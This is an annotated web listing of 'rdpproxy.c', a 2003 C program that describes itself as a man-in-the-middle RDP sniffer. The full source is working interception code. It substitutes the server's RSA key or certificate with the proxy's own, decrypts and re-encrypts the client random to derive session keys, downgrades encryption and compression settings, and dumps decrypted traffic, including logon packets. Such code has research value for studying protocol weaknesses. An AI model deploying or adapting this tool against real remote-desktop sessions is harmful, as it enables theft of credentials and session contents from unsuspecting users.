/[rdesktop]/sourceforge.net/trunk/rdpproxy/rdpproxy.c
This is repository of my old source code which isn't updated any more. Go to git.rot13.org for current projects!
ViewVC logotype

Annotation of /sourceforge.net/trunk/rdpproxy/rdpproxy.c

Parent Directory Parent Directory | Revision Log Revision Log


Revision 511 - (hide annotations)
Thu Oct 23 11:21:33 2003 UTC (20 years, 7 months ago) by forsberg
File MIME type: text/plain
File size: 18052 byte(s)
Fixed conflicting types for hexdump().

1 forsberg 429 /* -*- c-basic-offset: 8 -*-
2     * rdpproxy: Man-in-the-middle RDP sniffer
3     * Matt Chapman <matthewc@cse.unsw.edu.au>
4     */
5    
6     #define _GNU_SOURCE
7     #include <stdio.h> /* perror */
8     #include <string.h>
9     #include <unistd.h> /* select read write close */
10     #include <fcntl.h> /* open */
11     #include <sys/socket.h> /* socket bind listen accept connect */
12     #include <netinet/in.h> /* htons htonl */
13     #include <netinet/tcp.h> /* SOL_TCP TCP_NODELAY */
14     #include <arpa/inet.h> /* inet_addr */
15     #include <netdb.h> /* gethostbyname */
16    
17     #include <openssl/x509v3.h>
18     #include "../rdesktop/rdesktop.h"
19    
20     #if LINUX_NETFILTER
21     #include <linux/netfilter_ipv4.h>
22     #endif
23    
24     #define CLIENT 0
25     #define SERVER 1
26    
27     #define TCP_PORT_RDP 3389
28     #define SEC_ENCRYPT 0x0008
29     #define SEC_RANDOM_SIZE 32
30     #define SEC_MODULUS_SIZE 64
31     #define SEC_EXPONENT_SIZE 4
32    
33     #ifdef USE_X509
34     #define CA_CERT_FILE "cacert.der"
35     #define CERT_FILE "cert.der"
36     #define PRIV_KEY_FILE "privkey.der"
37     #else
38     #define PRIV_KEY_FILE "tsprivkey.der"
39     #endif
40    
41     static const unsigned char conn_response_hdr[] = { 0x02, 0xf0, 0x80, 0x7f, 0x66 };
42     #ifdef USE_X509
43     static const unsigned char cert_hdr[] = { 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00 };
44     static const unsigned char cert_hdr2[] = { 0x02, 0x00, 0x00, 0x80, 0x02, 0x00, 0x00, 0x00 };
45    
46     static const unsigned char server_key_hdr[] = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x04, 0x05, 0x00, 0x03, 0x4b, 0x00 }; /* OID and ASN1 header */
47     static const unsigned char server_salt_hdr[] =
48     { SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0x69, 0x05, 0x00, 0x00 };
49     /* ^^^ seems to be 0x1e instead of 0x10 in "my" version of the protocol". It's some kind of length. */
50     static const unsigned char licence_blob_hdr[] = { 0x00, 0x00, 0x48, 0x00 }; /* not very precise, but hey */
51     #else
52     static const unsigned char server_key_hdr[] = { 'R', 'S', 'A', '1' };
53     static const unsigned char server_salt_hdr[] =
54     { SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00 };
55     #endif
56    
57     static const unsigned char crypt_type_hdr[] = { 0x02, 0xc0, 0x0c, 0x00 };
58     static const unsigned char client_salt_hdr[] =
59     { 0x01, 0x00, 0x00, 0x00, SEC_MODULUS_SIZE + 8, 0x00, 0x00, 0x00 };
60    
61    
62     static unsigned char server_salt[SEC_RANDOM_SIZE];
63     static RSA *server_key;
64     static RSA *proxy_key;
65    
66     static int server_key_subst_done;
67     static int client_key_subst_done;
68     static int compression_substs_done;
69     static int faked_packet;
70    
71     void sec_decrypt(uint8 * data, int length);
72     void sec_encrypt(uint8 * data, int length);
73    
74     /* produce a hex dump */
75     void
76 forsberg 511 hexdump(unsigned char *p, int len)
77 forsberg 429 {
78     unsigned char *line = p;
79     unsigned int thisline, offset = 0;
80     int i;
81    
82     if (faked_packet)
83     {
84     printf("#0, #0 from Server, type TPKT, l: %d, faked\n", len);
85     faked_packet = 0;
86     }
87    
88     while (offset < len)
89     {
90     printf("%04x ", offset);
91     thisline = len - offset;
92     if (thisline > 16)
93     thisline = 16;
94    
95     for (i = 0; i < thisline; i++)
96     printf("%02x ", line[i]);
97    
98     for (; i < 16; i++)
99     printf(" ");
100    
101     for (i = 0; i < thisline; i++)
102     printf("%c", (line[i] >= 0x20 && line[i] < 0x7f) ? line[i] : '.');
103    
104     printf("\n");
105     offset += thisline;
106     line += thisline;
107     }
108     fflush(stdout);
109     }
110    
111     /* reverse an array in situ */
112     static void
113     reverse(unsigned char *p, unsigned int len)
114     {
115     char temp;
116     int i, j;
117    
118     for (i = 0, j = len - 1; i < j; i++, j--)
119     {
120     temp = p[i];
121     p[i] = p[j];
122     p[j] = temp;
123     }
124     }
125    
126     static int
127     read_file(char *filename, char *buffer, int maxlen)
128     {
129     int fd, len;
130    
131     fd = open(filename, O_RDONLY);
132     if (fd == -1)
133     {
134     perror(filename);
135     return -1;
136     }
137    
138     len = read(fd, buffer, maxlen);
139     close(fd);
140     return len;
141     }
142    
143     static RSA *
144     make_public_key(unsigned char *modulus, unsigned char *exponent)
145     {
146     BIGNUM *n, *e;
147     RSA *key;
148    
149     n = BN_new();
150     reverse(modulus, SEC_MODULUS_SIZE);
151     BN_bin2bn(modulus, SEC_MODULUS_SIZE, n);
152    
153     e = BN_new();
154     reverse(exponent, SEC_EXPONENT_SIZE);
155     BN_bin2bn(exponent, SEC_EXPONENT_SIZE, e);
156    
157     key = RSA_new();
158     key->n = n;
159     key->e = e;
160     return key;
161    
162     }
163    
164     static void
165     substitute_client(unsigned char *buffer, unsigned int len)
166     {
167     unsigned char client_salt[SEC_RANDOM_SIZE];
168     unsigned char *key;
169    
170     if (client_key_subst_done)
171     {
172     return;
173     }
174     else
175     {
176     printf("Client key substitution not done..\n");
177     }
178    
179     /* temporary hack - pretend client asked for RDP4-type encryption */
180     if (!server_key_subst_done)
181     {
182     printf("Trying to substitute crypt type..\n");
183     key = memmem(buffer, len, crypt_type_hdr, sizeof(crypt_type_hdr));
184     if (key == NULL)
185     return;
186    
187     key += sizeof(crypt_type_hdr);
188     *key = 1;
189     printf("Substituted crypt type\n");
190     return;
191     }
192    
193     /* find client salt */
194     key = memmem(buffer, len, client_salt_hdr, sizeof(client_salt_hdr));
195     if (key == NULL)
196     {
197     printf("Didn't find client salt\n");
198     return;
199     }
200     else
201     {
202     printf("Found client salt(!)\n");
203     }
204    
205     /* reencrypt with server key */
206     key += sizeof(client_salt_hdr);
207     reverse(key, SEC_MODULUS_SIZE);
208    
209     printf("RSA_private_decrypt returns %d\n",
210     RSA_private_decrypt(SEC_MODULUS_SIZE, key, key,
211     proxy_key, RSA_NO_PADDING));
212    
213     // printf("The 32 bytes before the client salt is:\n");
214     // faked_packet = 1;
215     // hexdump(key, SEC_MODULUS_SIZE-SEC_RANDOM_SIZE);
216    
217     memcpy(client_salt, key + SEC_MODULUS_SIZE - SEC_RANDOM_SIZE, SEC_RANDOM_SIZE);
218     reverse(client_salt, SEC_RANDOM_SIZE);
219    
220     RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING);
221     reverse(key, SEC_MODULUS_SIZE);
222    
223     /* generate data encryption keys */
224     sec_generate_keys(client_salt, server_salt, 1);
225    
226     printf("Substituted client salt\n");
227     client_key_subst_done = 1;
228     }
229    
230     #ifdef USE_X509
231     static int licence_blob_subst_done;
232    
233     static void
234     substitute_licence(unsigned char *buffer, unsigned int len)
235     {
236     unsigned char *key;
237    
238     if (licence_blob_subst_done || !client_key_subst_done)
239     return;
240    
241     key = memmem(buffer, len, licence_blob_hdr, sizeof(licence_blob_hdr));
242     if (key == NULL)
243     return;
244    
245     /* reencrypt with server key */
246     key += sizeof(licence_blob_hdr);
247     reverse(key, SEC_MODULUS_SIZE);
248     RSA_private_decrypt(SEC_MODULUS_SIZE, key, key, proxy_key, RSA_NO_PADDING);
249    
250     // hexdump(key, SEC_MODULUS_SIZE);
251    
252     RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING);
253     reverse(key, SEC_MODULUS_SIZE);
254    
255     printf("Substituted licence blob\n");
256     licence_blob_subst_done = 1;
257     }
258     #endif
259    
260     static unsigned int
261     substitute_server(unsigned char *buffer, unsigned int len)
262     {
263     #ifndef USE_X509
264     unsigned char server_modulus[SEC_MODULUS_SIZE];
265     unsigned char server_exponent[SEC_EXPONENT_SIZE];
266     #endif
267     X509 *x509;
268     unsigned char *key, *rsakey;
269     unsigned char *mcslen_p;
270     unsigned char *userdata_length_p;
271     unsigned char *rem_length_p;
272     unsigned char *rsainfolen_p;
273     unsigned char *cryptinfo_len_p;
274     uint16 mcslen, userdata_length, rem_length;
275     uint32 cacert_len, cert_len;
276     int n, tag, delta;
277     uint16 length;
278     uint32 rsainfolen = 0;
279    
280     if (server_key_subst_done)
281     return len;
282     key = memmem(buffer + 3, len - 3, conn_response_hdr, sizeof(conn_response_hdr));
283    
284     if (NULL == key)
285     return len;
286    
287     printf("Found MCS response packet\n");
288    
289     mcslen_p = key + sizeof(conn_response_hdr) + 1;
290     mcslen = buf_in_uint16be(mcslen_p);
291    
292     key += sizeof(conn_response_hdr) + 4 * 16;
293    
294     rem_length_p = key - 2;
295     userdata_length_p = key - 25;
296    
297     tag = *key + (*(key + 1) << 8);
298     key += 2;
299    
300     while (tag != 0x0c02)
301     {
302     length = *key + (*(key + 1) << 8);
303     printf("Got length %x\n", length);
304     key += length - 2;
305     tag = *key + (*(key + 1) << 8);
306     key += 2;
307     }
308    
309     length = *key + (*(key + 1) << 8);
310     printf("Got length %d\n", length);
311     cryptinfo_len_p = key; // Save position of cryptinfo length
312     key += 2 + 12; // Skip length, Skip RC4 key size, Encr. level, Random salt len, RSA info len.
313     rsainfolen = buf_in_uint32le(key);
314     rsainfolen_p = key; // Save position of RSA info len.
315     key += 4;
316     printf("RSA info len: %d\n", rsainfolen);
317    
318     memcpy(server_salt, key, SEC_RANDOM_SIZE);
319    
320     key += SEC_RANDOM_SIZE;
321    
322     /* find RSA key structure */
323     rsakey = memmem(buffer, len, server_key_hdr, sizeof(server_key_hdr));
324     if (key == NULL)
325     return len;
326     printf("Found RSA key structure\n");
327    
328    
329     #ifdef USE_X509
330    
331     /* extract server key */
332     /* rsakey += sizeof(server_key_hdr); */
333     /* server_key = d2i_RSAPublicKey(NULL, &rsakey, len-(rsakey-buffer)); */
334     /* printf("RSA_size(server_key): %d\n", RSA_size(server_key)); */
335     /* if (server_key == NULL) */
336     /* { */
337     /* printf("Error parsing public key\n"); */
338     /* return len; */
339     /* } */
340    
341     key += 8;
342    
343     cacert_len = buf_in_uint32le(key);
344     cert_len = buf_in_uint32le(key + cacert_len + 4);
345     rsakey = key + cacert_len + 8;
346     x509 = d2i_X509(NULL, &rsakey, cert_len);
347     if (NULL == x509)
348     {
349     printf("Failed to load X509 structure");
350     return len;
351     }
352    
353     if (OBJ_obj2nid(x509->cert_info->key->algor->algorithm) == NID_md5WithRSAEncryption)
354     {
355     printf("Re-setting algorithm type to RSA ($#¤?=## Microsoft!)\n");
356     x509->cert_info->key->algor->algorithm = OBJ_nid2obj(NID_rsaEncryption);
357     }
358    
359     server_key = (RSA *) X509_get_pubkey(x509)->pkey.ptr;
360    
361     /* This is a bit ugly. But who cares? :-) */
362    
363     cacert_len = read_file(CA_CERT_FILE, key + 4, 1024);
364     *(unsigned long *) key = cacert_len; /* FIXME endianness */
365    
366     key += 4 + cacert_len; // Skip length and newly "written" certificate.
367     cert_len = read_file(CERT_FILE, key + 4, 1024);
368     *(unsigned long *) key = cert_len; /* FIXME endianness */
369    
370     printf("CA cert length is %d, cert length is %d\n", cacert_len, cert_len);
371    
372     delta = (cacert_len + cert_len + 32) - rsainfolen;
373    
374     if (0 < delta)
375     {
376     printf("Compensating RSA info len - should be %d\n", rsainfolen + delta);
377     buf_out_uint32(rsainfolen_p, rsainfolen + delta);
378     printf("Compensating Tagged data length - should be %d\n", length + delta);
379     buf_out_uint16le(cryptinfo_len_p, length + delta);
380     printf("Compensating MCS data length - should be %d\n", mcslen + delta);
381     buf_out_uint16be(mcslen_p, mcslen + delta);
382     printf("Compensating packet length - current value %d, should be %d\n",
383     len, len + delta);
384     len += delta;
385     buf_out_uint16be(buffer + 2, len);
386     printf("Padding with zeros at end of packet\n");
387     memset(buffer + len + delta - 16, 0, 16);
388    
389     rem_length = buf_in_uint16be(rem_length_p) & ~0x8000;
390     buf_out_uint16be(rem_length_p, (rem_length + delta) | 0x8000);
391    
392     userdata_length = buf_in_uint16be(userdata_length_p);
393     buf_out_uint16be(userdata_length_p, userdata_length + delta);
394    
395     }
396     #else
397    
398     /* extract server key */
399     rsakey += 16;
400     memcpy(server_exponent, rsakey, SEC_EXPONENT_SIZE);
401     rsakey += SEC_EXPONENT_SIZE;
402     memcpy(server_modulus, rsakey, SEC_MODULUS_SIZE);
403     server_key = make_public_key(server_modulus, server_exponent);
404    
405     /* replace */
406     BN_bn2bin(proxy_key->n, rsakey);
407     reverse(rsakey, SEC_MODULUS_SIZE);
408     #endif
409    
410     printf("Substituted server key\n");
411     faked_packet = 1;
412     server_key_subst_done = 1;
413    
414     return len;
415     }
416    
417     static void
418     decrypt(unsigned char *buffer, unsigned int len, void (*fn) (unsigned char *buffer, int length))
419     {
420     int encrypted = 0;
421     int skip;
422    
423     if (buffer[0] == 3) /* ISO over TCP */
424     {
425     if (buffer[13] & 0x80) /* 16-bit length in MCS header */
426     skip = 15 + 12;
427     else
428     skip = 14 + 12;
429    
430     if (len > skip)
431     encrypted = *(unsigned long *) (buffer + skip - 12) & SEC_ENCRYPT;
432     }
433     else /* assume RDP5 style packet */
434     {
435     if (buffer[1] & 0x80) /* 16-bit length */
436     skip = 3 + 8;
437     else
438     skip = 2 + 8;
439    
440     if (len > skip)
441     encrypted = buffer[0] & 0x80;
442     }
443    
444     if (encrypted)
445     {
446     if (client_key_subst_done)
447     fn(buffer + skip, len - skip);
448     else
449     printf("Can't decrypt, haven't seen client random!\n");
450     }
451    
452     if (server_key_subst_done)
453     hexdump(buffer, len);
454     }
455    
456     static void
457     substitute_compression(unsigned char *buffer, unsigned int len)
458     {
459     uint32 flags, packetflags;
460    
461    
462     if (compression_substs_done)
463     return;
464     if (!(buffer[7] & 0x64))
465     { /* Not a MCS SDRQ - actually quite a
466     useless check since this function isn't
467     called unless the packet is from the client */
468     return;
469     }
470    
471     packetflags = buf_in_uint32le(buffer + 15);
472     if (!(packetflags & 0x0040))
473     return; /* Not a RDP Logon info packet */
474    
475     flags = buf_in_uint32le(buffer + 31);
476    
477     printf("Found the RDP Logon packet, flags is %d (%x)\n", flags, flags);
478    
479     if (flags & 0x280)
480     {
481     printf("Setting compression flags to zero\n");
482     flags &= ~0x280;
483    
484     buf_out_uint32(buffer + 31, flags);
485    
486     }
487     printf("Flags is now %d (%x)\n", flags, flags);
488    
489     compression_substs_done = 1;
490     }
491    
492     static void
493     decrypt_client(unsigned char *buffer, unsigned int len, int server)
494     {
495    
496     int encrypted = 0;
497     int skip;
498     unsigned char buffercopy[65536];
499     uint8 signature[8];
500    
501     if (buffer[0] == 3) /* ISO over TCP */
502     {
503     if (buffer[13] & 0x80) /* 16-bit length in MCS header */
504     skip = 15 + 12;
505     else
506     skip = 14 + 12;
507    
508     if (len > skip)
509     encrypted = *(unsigned long *) (buffer + skip - 12) & SEC_ENCRYPT;
510     }
511     else /* assume RDP5 style packet */
512     {
513     if (buffer[1] & 0x80) /* 16-bit length */
514     skip = 3 + 8;
515     else
516     skip = 2 + 8;
517    
518     if (len > skip)
519     encrypted = buffer[0] & 0x80;
520     }
521    
522     substitute_client(buffer, len);
523    
524    
525     if (encrypted && client_key_subst_done)
526     {
527     sec_encrypt(buffer + skip, len - skip);
528     memset(signature, 0, 8);
529    
530     /* This is where you can put substitution code */
531    
532     substitute_compression(buffer, len);
533    
534     #ifdef USE_X509
535     substitute_licence(buffer, len);
536     #endif
537     sec_sign_buf(signature, 8, buffer + skip, len - skip);
538     printf("Signature should be ");
539     hexdump(signature, 8);
540     hexdump(buffer, len);
541     memcpy(buffer + skip - 8, signature, 8);
542     sec_encrypt2(buffer + skip, len - skip);
543     }
544     else
545     {
546     printf("Can't decrypt, haven't seen client random!\n");
547     hexdump(buffer, len);
548     }
549    
550     send(server, buffer, len, 0);
551    
552    
553     }
554    
555     static int
556     recv_pdu(int fd, unsigned char *buffer, unsigned int len, int part)
557     {
558     unsigned int pdulen;
559     int res;
560    
561     static int clnt_packetnr;
562     static int srvr_packetnr;
563     static int total_packetnr;
564    
565     res = recv(fd, buffer, 4, MSG_WAITALL);
566     if (res <= 0)
567     return res;
568    
569     if (CLIENT == part)
570     {
571     printf("#%d, #%d from Client, ", ++total_packetnr, ++clnt_packetnr);
572     }
573     else
574     {
575     printf("#%d, #%d from Server, ", ++total_packetnr, ++srvr_packetnr);
576     }
577    
578    
579     if (buffer[0] == 3) /* ISO over TCP */
580     {
581     pdulen = ((unsigned int) buffer[2] << 8) | buffer[3];
582     printf("type TPKT, l: %d, ", pdulen);
583    
584     }
585     else /* assume RDP5 style packet */
586     {
587     pdulen = buffer[1];
588    
589     if (pdulen & 0x80)
590     pdulen = ((pdulen & 0x7f) << 8) | buffer[2];
591     printf("type RDP5, l: %d, ", pdulen);
592     }
593    
594     if (pdulen > len)
595     {
596     fprintf(stderr, "PDU size %d would overflow buffer\n", pdulen);
597     return 0;
598     }
599    
600     res = recv(fd, buffer + 4, pdulen - 4, MSG_WAITALL);
601     if (res <= 0)
602     return res;
603    
604     printf("read %d bytes\n", res + 4);
605    
606     return (res + 4);
607     }
608    
609     static void
610     relay(int client, int server)
611     {
612     unsigned char buffer[65536];
613     fd_set fds;
614     int max, len;
615    
616     FD_ZERO(&fds);
617     max = (client > server) ? client : server;
618    
619     while (1)
620     {
621     FD_SET(client, &fds);
622     FD_SET(server, &fds);
623    
624     switch (select(max + 1, &fds, NULL, NULL, NULL))
625     {
626     case -1:
627     perror("select");
628    
629     case 0:
630     return;
631     }
632    
633     if (FD_ISSET(client, &fds))
634     {
635     len = recv_pdu(client, buffer, sizeof(buffer), CLIENT);
636     switch (len)
637     {
638     case -1:
639     perror("client recv");
640     case 0:
641     return;
642     }
643    
644     decrypt_client(buffer, len, server);
645     }
646    
647     if (FD_ISSET(server, &fds))
648     {
649     len = recv_pdu(server, buffer, sizeof(buffer), SERVER);
650     switch (len)
651     {
652     case -1:
653     perror("server recv");
654     case 0:
655     return;
656     }
657     if (!server_key_subst_done)
658     {
659     hexdump(buffer, len);
660     }
661     len = substitute_server(buffer, len);
662     send(client, buffer, len, 0);
663     decrypt(buffer, len, sec_decrypt);
664     }
665     }
666     }
667    
668     int
669     main(int argc, char *argv[])
670     {
671     struct sockaddr_in listener_addr;
672     struct sockaddr_in server_addr;
673     struct hostent *nslookup;
674     int listener, client, server;
675     unsigned char privkey_buffer[1024];
676     unsigned char *privkey = privkey_buffer;
677     int true = 1;
678     int n;
679    
680     #ifndef LINUX_NETFILTER
681     if (argc < 2)
682     {
683     printf("Usage: rdpproxy <server ip>\n");
684     return 1;
685     }
686     #endif
687    
688     n = read_file(PRIV_KEY_FILE, privkey_buffer, sizeof(privkey_buffer));
689    
690    
691    
692     proxy_key = d2i_RSAPrivateKey(NULL, &privkey, n);
693     memset(privkey_buffer, 0, sizeof(privkey_buffer));
694     if (proxy_key == NULL)
695     {
696     printf("Error loading private key\n");
697     return 1;
698     }
699    
700     if ((listener = socket(AF_INET, SOCK_STREAM, 0)) < 0)
701     {
702     perror("socket");
703     return 1;
704     }
705    
706     listener_addr.sin_family = AF_INET;
707     listener_addr.sin_port = htons(TCP_PORT_RDP);
708     listener_addr.sin_addr.s_addr = htonl(INADDR_ANY);
709    
710     setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &true, sizeof(true));
711    
712     if (bind(listener, (struct sockaddr *) &listener_addr, sizeof(listener_addr)) < 0)
713     {
714     perror("bind");
715     return 1;
716     }
717    
718     if (listen(listener, 1) < 0)
719     {
720     perror("listen");
721     return 1;
722     }
723    
724     printf("RDPPROXY: waiting for connection...\n");
725    
726     if ((client = accept(listener, NULL, NULL)) < 0)
727     {
728     perror("accept");
729     return 1;
730     }
731    
732     if ((server = socket(AF_INET, SOCK_STREAM, 0)) < 0)
733     {
734     perror("socket");
735     return 1;
736     }
737    
738     server_addr.sin_family = AF_INET;
739     server_addr.sin_port = htons(TCP_PORT_RDP);
740    
741     #ifdef LINUX_NETFILTER
742     if (argc < 2)
743     {
744     /* Fetch server address from netfilter */
745     size_t sock_sz;
746     sock_sz = sizeof(server_addr);
747    
748     if (getsockopt(client, SOL_IP, SO_ORIGINAL_DST, &server_addr, &sock_sz) != 0)
749     {
750     perror("getsockopt");
751     fprintf(stderr, "Not a redirected connection?\n");
752     exit(1);
753     }
754    
755     fprintf(stderr, "server IP = %s\n", inet_ntoa(server_addr.sin_addr));
756     }
757     else
758     #endif
759     {
760     /* Use server name from command line */
761     if (NULL != (nslookup = gethostbyname(argv[1])))
762     {
763     memcpy(&server_addr.sin_addr, nslookup->h_addr,
764     sizeof(server_addr.sin_addr));
765     }
766     else if (INADDR_NONE == (server_addr.sin_addr.s_addr = inet_addr(argv[1])))
767     {
768     printf("%s: Unable to resolve host\n", argv[1]);
769     return 1;
770     }
771     }
772    
773     if (connect(server, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0)
774     {
775     perror("connect");
776     return 1;
777     }
778    
779     setsockopt(client, SOL_TCP, TCP_NODELAY, &true, sizeof(true));
780     setsockopt(server, SOL_TCP, TCP_NODELAY, &true, sizeof(true));
781    
782     relay(client, server);
783    
784     close(server);
785     close(client);
786     return 0;
787     }

  ViewVC Help
Powered by ViewVC 1.1.26